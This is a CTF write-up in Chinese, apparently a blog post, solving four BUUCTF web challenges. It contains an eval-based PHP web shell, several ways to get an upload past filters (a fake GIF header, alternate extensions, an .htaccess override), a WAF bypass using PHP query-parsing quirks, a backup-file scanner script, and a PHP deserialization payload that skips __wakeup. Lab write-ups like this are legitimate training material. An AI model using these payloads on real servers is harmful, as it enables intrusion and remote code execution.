[极客大挑战 2019]Upload;[RoarCTF 2019]Easy Calc;[ACTF2020 新生赛]Upload;[极客大挑战 2019]PHP

[极客大挑战 2019]Upload;[RoarCTF 2019]Easy Calc;[ACTF2020 新生赛]Upload;[极客大挑战 2019]PHP

[极客大挑战 2019]Upload

先更改为图片的类型,将content-type改为image/jpg
在这里插入图片描述不能为php,可改成phtml,php2,php3,php4,php5,php6,php7,pht,phtm,phtml等,都会被解析成php
在这里插入图片描述过滤了<?,?>,可用另一种书写方式
<script language="php">eval($_POST['shell']);</script>
在这里插入图片描述

没有图片文件开头的标识GIF89aX,添加上去,上传成功
在这里插入图片描述

连接菜刀,得到flag
在这里插入图片描述从上面可知,只过滤了php后缀,所以还可以上传.htaccess配置文件,更改文件后缀的关联属性
在这里插入图片描述再上传一个1.aa
在这里插入图片描述连接到shell,但是看不了文件,我也不知道为什么
在这里插入图片描述

[RoarCTF 2019]Easy Calc

提示有waf,并且存在calc.php页面
在这里插入图片描述calc.php过滤了相关符号
在这里插入图片描述waf过滤了字母
在这里插入图片描述利用 php字符串解析特性,它解析字符串时,会将一些字符转换为下划线,或者删除
http://node4.buuoj.cn:29995/calc.php? num=a,在num前加空格,waf会认为’ nmu’这不是字母,因为它前面有空格,而php会将前面的空格删掉,‘ num’就等同与‘num’,故绕过了waf也执行了函数
在这里插入图片描述过滤/,所以使用ascii码进行命令执行,发现没有执行
在这里插入图片描述换成php的输出和查看目录的函数print_rvar_dump都行
在这里插入图片描述然后查看内容readfilefile_get_contents都行
在这里插入图片描述

[ACTF2020 新生赛]Upload

上传时抓包,发现抓不了,并弹出提示,说js限制了上传的后缀,所以关闭js再抓包
在这里插入图片描述在这里插入图片描述
之后上传图片,改为php后缀,被拦截
在这里插入图片描述但改为asp,上传成功,多半只有php是黑名单
在这里插入图片描述

故可以将后缀改为phtml,添加一句话木马,成功上传
在这里插入图片描述在这里插入图片描述得到flag
在这里插入图片描述

[极客大挑战 2019]PHP

扫描备份文件

import requests
import time
url='http://3779d591-9cc0-48af-8a72-b0f3463ee1d5.node4.buuoj.cn:81/'
with open('beifen.txt') as f:
    for i in f:
        ii = i.replace('\n', '')
        urls=url+ii
        #time.sleep(1)
        data=requests.get(urls).status_code
        if data==200:
            print(urls)

得到备份文件

http://3779d591-9cc0-48af-8a72-b0f3463ee1d5.node4.buuoj.cn:81/www.zip

解压得到关键文件index.php,class.php
通过index.php传入参数
在这里插入图片描述class.php进行反序列化操作
在这里插入图片描述payload的username需等于admin,password需等于100,
但要绕过__wakeup,故将代表变量个数的数字改成比真实值大,就不会执行__wakeup;
因为private为私有变量,需在Nameusername中加%00,变为%00Name%00username

故payload为?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值